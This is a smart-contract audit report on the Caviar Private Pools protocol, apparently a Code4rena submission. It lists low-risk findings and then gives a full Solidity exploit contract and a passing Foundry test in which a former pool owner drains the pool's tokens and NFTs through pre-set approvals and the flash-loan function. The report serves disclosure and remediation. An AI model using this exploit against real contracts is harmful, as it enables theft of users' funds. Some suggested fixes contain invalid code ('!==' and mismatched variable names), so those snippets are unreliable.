Caviar Private Pools - Brenzee's results

Summary

Low Risk issues

Total - 21 instances over 8 issues

Non-critical issues

Total - 22 instances over 1 issue

Low Risk Issues

[L-01] PrivatePool.deposit function can be used by anyone, but only owner can withdraw the funds

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L484

The answer to the question "What is a shared pool and custom pool?" on the sponsor's website is: "Shared pools are pools that anyone can deposit into and earn fees from. Everyone's liquidity is combined together and the price range is set to be full. Custom pools are pools that you create yourself where you are the sole owner. You can set much more customised parameters such as the fee rate, price range, and royalty support."

The answer leads me to believe that protocol users should be able to deposit only into shared pools to earn fees. The PrivatePool.deposit function allows anyone to deposit with no benefit, but only the owner can withdraw funds out of the PrivatePool, which means users would lose their funds.

Consider adding onlyOwner modifier on deposit function

    function deposit(uint256[] calldata tokenIds, uint256 baseTokenAmount) public payable onlyOwner

[L-02] Array lengths are not compared to each other

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L302-L303 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L386-L391 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L662-L663

Multiple functions do not check if the 2 arrays that are passed in the function as parameters are equal in length.

Since all of the functions that do not check if the array lengths are equal use sumWeightsAndValidateProof, consider adding require statement in sumWeightsAndValidateProof that checks if both arrays are equal length.

    function sumWeightsAndValidateProof(
        uint256[] memory tokenIds,
        uint256[] memory tokenWeights,
        MerkleMultiProof memory proof
    ) public view returns (uint256) {
        require(inputTokenIds.length == inputTokenWeights.length, "Arrays are not equal length");


        // if the merkle root is not set then set the weight of each nft to be 1e18
        if (merkleRoot == bytes32(0)) {
            return tokenIds.length * 1e18;
        }

        uint256 sum;
        bytes32[] memory leafs = new bytes32[](tokenIds.length);
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // create the leaf for the merkle proof
            leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(tokenIds[i], tokenWeights[i]))));

            // sum each token weight
            sum += tokenWeights[i];
        }

        // validate that the weights are valid against the merkle proof
        if (!MerkleProofLib.verifyMultiProof(proof.proof, merkleRoot, leafs, proof.flags)) {
            revert InvalidMerkleProof();
        }

        return sum;
    }

[L-03] baseToken with 3 or less decimals will make PrivatePool.change unusable

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L416 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L733

If a user creates a PrivatePool with a baseToken that has 3 or less decimals (for example, GUSD which has 2 decimals), the PrivatePool.change will be unusable.

    function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
        // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
        // @audit This line will fail with ERC20 tokens that have less than 4 decimals of precision
        uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
        uint256 feePerNft = changeFee * 10 ** exponent;

        feeAmount = inputAmount * feePerNft / 1e18;
        protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
    }

If these types of tokens are not supported, consider adding a require statement that checks if the baseToken has more than 4 decimals.

    require(ERC20(baseToken).decimals() > 4, "Base token decimals must be greater than 4");

[L-04] Wrong nft address can be passed in some of EthRouter functions

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L99 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L152 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L221 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L254

If user passes the wrong nft address that is not nft address of privatePool, EthRouter.deposit, EthRouter.change, EthRouter.sell and EthRouter.buy functions will fail.

Consider removing nft from function input parameters and use privatePool.nft() instead.

Example with EthRouter.deposit:

    function deposit(
        address payable privatePool,
        uint256[] calldata tokenIds,
        uint256 minPrice,
        uint256 maxPrice,
        uint256 deadline
    ) public payable {
        address nft = PrivatePool(privatePool).nft();
        // check deadline has not passed (if any)
        if (block.timestamp > deadline && deadline != 0) {
            revert DeadlinePassed();
        }

        // check pool price is in between min and max
        uint256 price = PrivatePool(privatePool).price();
        if (price > maxPrice || price < minPrice) {
            revert PriceOutOfRange();
        }

        // transfer NFTs from caller
        for (uint256 i = 0; i < tokenIds.length; i++) {
            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
        }

        // approve pair to transfer NFTs from router
        ERC721(nft).setApprovalForAll(privatePool, true);

        // execute deposit
        PrivatePool(privatePool).deposit{value: msg.value}(tokenIds, msg.value);
    }

[L-05] changeFee cannot be updated after initalizing PrivatePool

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L180

changeFee is only set in initialize function, which means that changeFee cannot be updated afterwards.

Consider adding a function, where owner can update changeFee.

    function setChangeFee(uint56 _changeFee) external onlyOwner {
        require(_changeFee !== 0, "changeFee cannot be 0");
        changeFee = _changeFee;

        emit SetChangeFee(_changeFee);
    }

[L-06] PrivatePool.flashFee returns changeFee value

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L751

    function flashFee(address, uint256) public view returns (uint256) {
        return changeFee;
    }

Function PrivatePool.flashFee (that is used in PrivatePool.flashLoan function to calculate fee of flash loan) returns changeFee value.

Consider renaming PrivatePool.flashFee to PrivatePool.changeFee to avoid confusion or save flashFee as seperate value.

[L-07] Zero values are not checked

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L177-L180 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L562-L571 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L538-L545

Multiple values that are set in PrivatePool.initialize function and multiple set functions are not checked for zero values.

For example, _virtualNftReserves in PrivatePool.initialize is not checked if the value is 0. This may cause issues with PrivatePool.price() function since division with 0 is not allowed.

    function price() public view returns (uint256) {
        // ensure that the exponent is always to 18 decimals of accuracy
        uint256 exponent = baseToken == address(0) ? 18 : (36 - ERC20(baseToken).decimals());
        return (virtualBaseTokenReserves * 10 ** exponent) / virtualNftReserves;
    }

Consider adding require statements for these values:

• _virtualNftReserves in PrivatePool.initialize
• newVirtualNftReserves in PrivatePool.setVirtualReserves
• _virtualBaseTokenReserves in PrivatePool.initialize
• newVirtualBaseTokenReserves in PrivatePool.setVirtualReserves
• _changeFee in PrivatePool.initialize
• _feeRate in PrivatePool.initialize
• newFeeRate in PrivatePool.setFeeRate

Example for _virtualNftReserves

    require(_virtualNftReserves != 0, "virtualNftReserves cannot be 0");

[L-08] PrivatePool.buy and PrivatePool.sell functions are vulnerable to frontrun attacks

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L211 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L301-L306

Partial user's funds might get stolen. Since sponsor insists to not use PrivatePool directly, putting it low category, but it can be easily prevented by adding additional checks in PrivatePool.buy and PrivatePool.sell functions.

Example No.1 Alice wants to buy 3 NFTs. Bob sees this transaction in mempool and frontruns it and buys 2 NFTs right before Alice's transaction, which updates the virtualBaseTokenReserves and virtualNftReserves. Then Alice's transaciton gets executed and Alice pays much more. After Alice's transaction, Bob sells his NFT

Example No.2 Alice has 4 NFTs and decides to sell them. Bob sees that Alice's transaction in mempool and frontruns her transaction, where he sells his NFTs (or buys NFTs from other marketplace and sells them in PrivatePool) to update virtualBaseTokenReserves and virtualNftReserves . After that, Alice's transaction gets executed and she receives less tokens than she thought she would get. Right after Alice's transaction, Bob buys his NFTs back for cheaper (or buys back to exchange it on different NFT marketplace)

Suggesting for buy function add additonal parameter maxAmount and for sell function add parameter minAmount

    function buy(uint256[] calldata tokenIds, uint256[] calldata tokenWeights, MerkleMultiProof calldata proof, uint256 maxAmount) {
        ...
        require(netInputAmount <= maxAmount, "netInputAmount is higher than maxAmount");
    }

    function sell(
        uint256[] calldata tokenIds,
        uint256[] calldata tokenWeights,
        MerkleMultiProof calldata proof,
        IStolenNftOracle.Message[] memory stolenNftProofs, // put in memory to avoid stack too deep error
        uint256 minAmount
    ) public returns (uint256 netOutputAmount, uint256 feeAmount, uint256 protocolFeeAmount) {
        ...
        require(netOutputAmount >= minAmount, "netOutputAmount is lower than minAmount");
    }

Non-critical issues

[N-01] Change public to external for functions, that are not called internally

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L157-L167 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L211-L214 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L301-L306 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L385-L393 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L459 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L484 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L514 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L602-L609 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L742 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePool.sol#L755

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L71-L84 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L129-L131 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L135-L137 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L141-L143 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L148 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L161 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/Factory.sol#L168

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L99 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L152 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L219-L226 https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/EthRouter.sol#L254

https://github.com/code-423n4/2023-04-caviar/blob/dc3c76674133c0c5f50348a3862431292c387654/src/PrivatePoolMetadata.sol#L17

Functions that are not used internally in the contract should be marked as external instead of public.

For example, PrivatePool.withdraw function is public. Change it to external

Change public to external:

    function withdraw(address _nft, uint256[] calldata tokenIds, address token, uint256 tokenAmount) external onlyOwner

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L461 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L623-L654

Vulnerability details

Impact

PrivatePool.sol ERC721 and ERC20 tokens can be stolen by the previous owner via execute and flashLoan functions (or by malicious approval by the current owner via execute)

Proof of Concept

Let's say that Bob is the attacker and Alice is a regular user.

1.Bob creates a PrivatePool.sol where he deposits 5 ERC721 tokens and 500 USDC. 2.Then Bob creates a malicious contract (let's call it PrivatePoolExploit.sol) and this contract contains onFlashLoan (IERC3156FlashBorrower), transferFrom , ownerOf, onERC721Received functions (like ERC721 does) and an additional attack function. 3.Via PrivatePool.execute function Bob approves USDC spending (type(uint).max) and setApprovalForAll for ERC721 tokens 4.Since the ownership of PrivatePool is stored in Factory.sol as an ERC721 token, ownership can be sold on any ERC721 marketplace. Alice decides to buy Bob's PrivatePool and ownership is transferred to Alice. 5.Right after the ownership is transferred, Bob runs PrivatePoolExploit.attack function, which calls PrivatePool.flashLoan where PrivatePoolExploit.transferFrom will be called since the flash loan can be called on any address. 6. All the funds are stolen by Bob and Alice's PrivatePool is left with nothing.

Here is a PoC example:

To run the test:

1.Save PrivatePoolExploit.sol under path src/attacks/PrivatePoolExploit.sol 2.Save Attack.t.sol under path src/test/PrivatePool/Attack.t.sol 3.Run the test with the command forge test --match-contract AttackTest

PrivatePoolExploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {ERC20} from "solmate/tokens/ERC20.sol";
import {ERC721} from "solmate/tokens/ERC721.sol";
import {IERC3156FlashBorrower} from "openzeppelin/interfaces/IERC3156FlashBorrower.sol";
import {PrivatePool} from "../PrivatePool.sol";


contract PrivatePoolExploit is IERC3156FlashBorrower {
    PrivatePool private immutable _privatePool;
    ERC20 private immutable _baseToken;
    ERC721 private immutable _nftToken;
    address private immutable _owner;

    uint private transferFromCalled;

    uint[] private tokenIds;

    constructor(PrivatePool _target) {
        _privatePool = _target;
        _baseToken = ERC20(_target.baseToken());
        _nftToken = ERC721(_target.nft());
        _owner = msg.sender;
    }

    function attack(uint[] calldata _tokenIds) external {
        tokenIds = _tokenIds;
        _privatePool.flashLoan(
            this,
            address(this),
            0,
            abi.encode(_tokenIds)
        );
    }


    function safeTransferFrom(
        address,
        address,
        uint256
    ) public {
    }

    function onFlashLoan(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) external returns (bytes32) {
        // Transfer all base tokens to this contract
        _baseToken.transferFrom(address(_privatePool), address(this), _baseToken.balanceOf(address(_privatePool)));

        // Transfer all NFTs to the owner
        for (uint i = 0; i < tokenIds.length; i++) {
            _nftToken.transferFrom(address(_privatePool), _owner, tokenIds[i]);
        }

        // Get the fee that needs to be repaid and approve the amount
        uint256 fee = _privatePool.flashFee(address(0), 0);
        _baseToken.approve(address(_privatePool), fee);

        // Transfer all excess base tokens to the owner
        _baseToken.transfer(_owner, _baseToken.balanceOf(address(this)));

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function ownerOf(uint) public view returns (address) {
        return address(_privatePool);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

Attack.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "../Fixture.sol";
import "../../src/attacks/PrivatePoolExploit.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";

contract ERC20Example is ERC20 {
    constructor(string memory _name, string memory _symbol, uint8 _decimals) ERC20(_name, _symbol, _decimals) {
        _mint(msg.sender, 100_000 * 10**_decimals);
    }
}

contract AttackTest is Fixture {
    event Buy(
        uint256[] tokenIds,
        uint256[] tokenWeights,
        uint256 inputAmount,
        uint256 feeAmount,
        uint256 protocolFeeAmount,
        uint256 royaltyFeeAmount
    );

    address bob = address(0x1);
    address alice = address(0x2);

    PrivatePoolExploit public privatePoolExploit;
    ERC20 public baseToken;

    address nft = address(milady);
    uint128 virtualBaseTokenReserves = 100e6;
    uint128 virtualNftReserves = 5e18;
    uint16 feeRate = 0;
    uint56 changeFee = 0;
    bytes32 merkleRoot = bytes32(0);
    bytes32 salt = bytes32(0);
    uint256 baseTokenAmount = 500e6;
    uint256[] tokenIds;
    uint256[] tokenWeights;
    PrivatePool.MerkleMultiProof proofs;

    function setUp() public {
        vm.startPrank(bob);
        privatePoolImplementation = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        baseToken = new ERC20Example("USDC", "USDC", 6);


        for (uint256 i = 0; i < 5; i++) {
            milady.mint(address(bob), i);
            tokenIds.push(i);
        }
    }

    function test_exploit() public {

        // Approve all NFTs and baseToken to the Factory
        baseToken.approve(address(factory), type(uint256).max);
        milady.setApprovalForAll(address(factory), true);


        PrivatePool privatePool = factory.create(
            address(baseToken),
            address(milady),
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            salt,
            tokenIds,
            baseTokenAmount
        );

        // First Bob deploys the exploit contract
        privatePoolExploit = new PrivatePoolExploit(privatePool);


        // Then Bob approves the exploit contract to spend PrivatePool's baseToken and NFTs
        privatePool.execute(
            address(baseToken),
            abi.encodeWithSignature("approve(address,uint256)", address(privatePoolExploit), type(uint256).max)
        );

        privatePool.execute(
            address(nft),
            abi.encodeWithSignature("setApprovalForAll(address,bool)", address(privatePoolExploit), true)
        );


        // Bob sells the ownership of the PrivatePool to Alice (as an example just transfering the ownership)
        uint tokenIdOfPrivatePool = uint256(uint160(address(privatePool)));
        factory.transferFrom(bob, alice, tokenIdOfPrivatePool);

        assertEq(factory.ownerOf(tokenIdOfPrivatePool), alice);

        uint balanceBeforeAttack = baseToken.balanceOf(bob);
        uint erc721BalanceBeforeAttack = milady.balanceOf(bob);

        // Bob runs the exploit
        privatePoolExploit.attack(tokenIds);

        uint balanceAfterAttack = baseToken.balanceOf(bob);
        uint erc721BalanceAfterAttack = milady.balanceOf(bob);

        assertEq(balanceAfterAttack, balanceBeforeAttack + baseTokenAmount - changeFee);
        assertEq(erc721BalanceAfterAttack, erc721BalanceBeforeAttack + tokenIds.length);
    }
}

Result of the test

Running 1 test for test/PrivatePool/Attack.t.sol:AttackTest
[PASS] test_exploit() (gas: 1182634)
Test result: ok. 1 passed; 0 failed; finished in 7.15ms

Tools Used

Foundry/VSCode

Recommended Mitigation Steps

The contract caller should not be able to choose the token address in the PrivatePool.flashLoan function because there is no way to know if the token contract is actually an ERC721 contract.

Suggest removing token from function input parameters and using nft token everywhere, where token was used.

    function flashLoan(IERC3156FlashBorrower receiver, uint256 tokenId, bytes calldata data)
        external
        payable
        returns (bool)
    {
        address nftAddress = nft;
        // check that the NFT is available for a flash loan
        if (!availableForFlashLoan(nftAddress, tokenId)) revert NotAvailableForFlashLoan();

        // calculate the fee
        uint256 fee = flashFee(nftAddress, tokenId);

        // if base token is ETH then check that caller sent enough for the fee
        if (baseToken == address(0) && msg.value < fee) revert InvalidEthAmount();

        // transfer the NFT to the borrower
        ERC721(nftAddress).safeTransferFrom(address(this), address(receiver), tokenId);

        // call the borrower
        bool success =
            receiver.onFlashLoan(msg.sender, nftAddress, tokenId, fee, data) == keccak256("ERC3156FlashBorrower.onFlashLoan");

        // check that flashloan was successful
        if (!success) revert FlashLoanFailed();

        // transfer the NFT from the borrower
        ERC721(nftAddress).safeTransferFrom(address(receiver), address(this), tokenId);

        // transfer the fee from the borrower
        if (baseToken != address(0)) ERC20(baseToken).transferFrom(msg.sender, address(this), fee);

        return success;
    }

if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();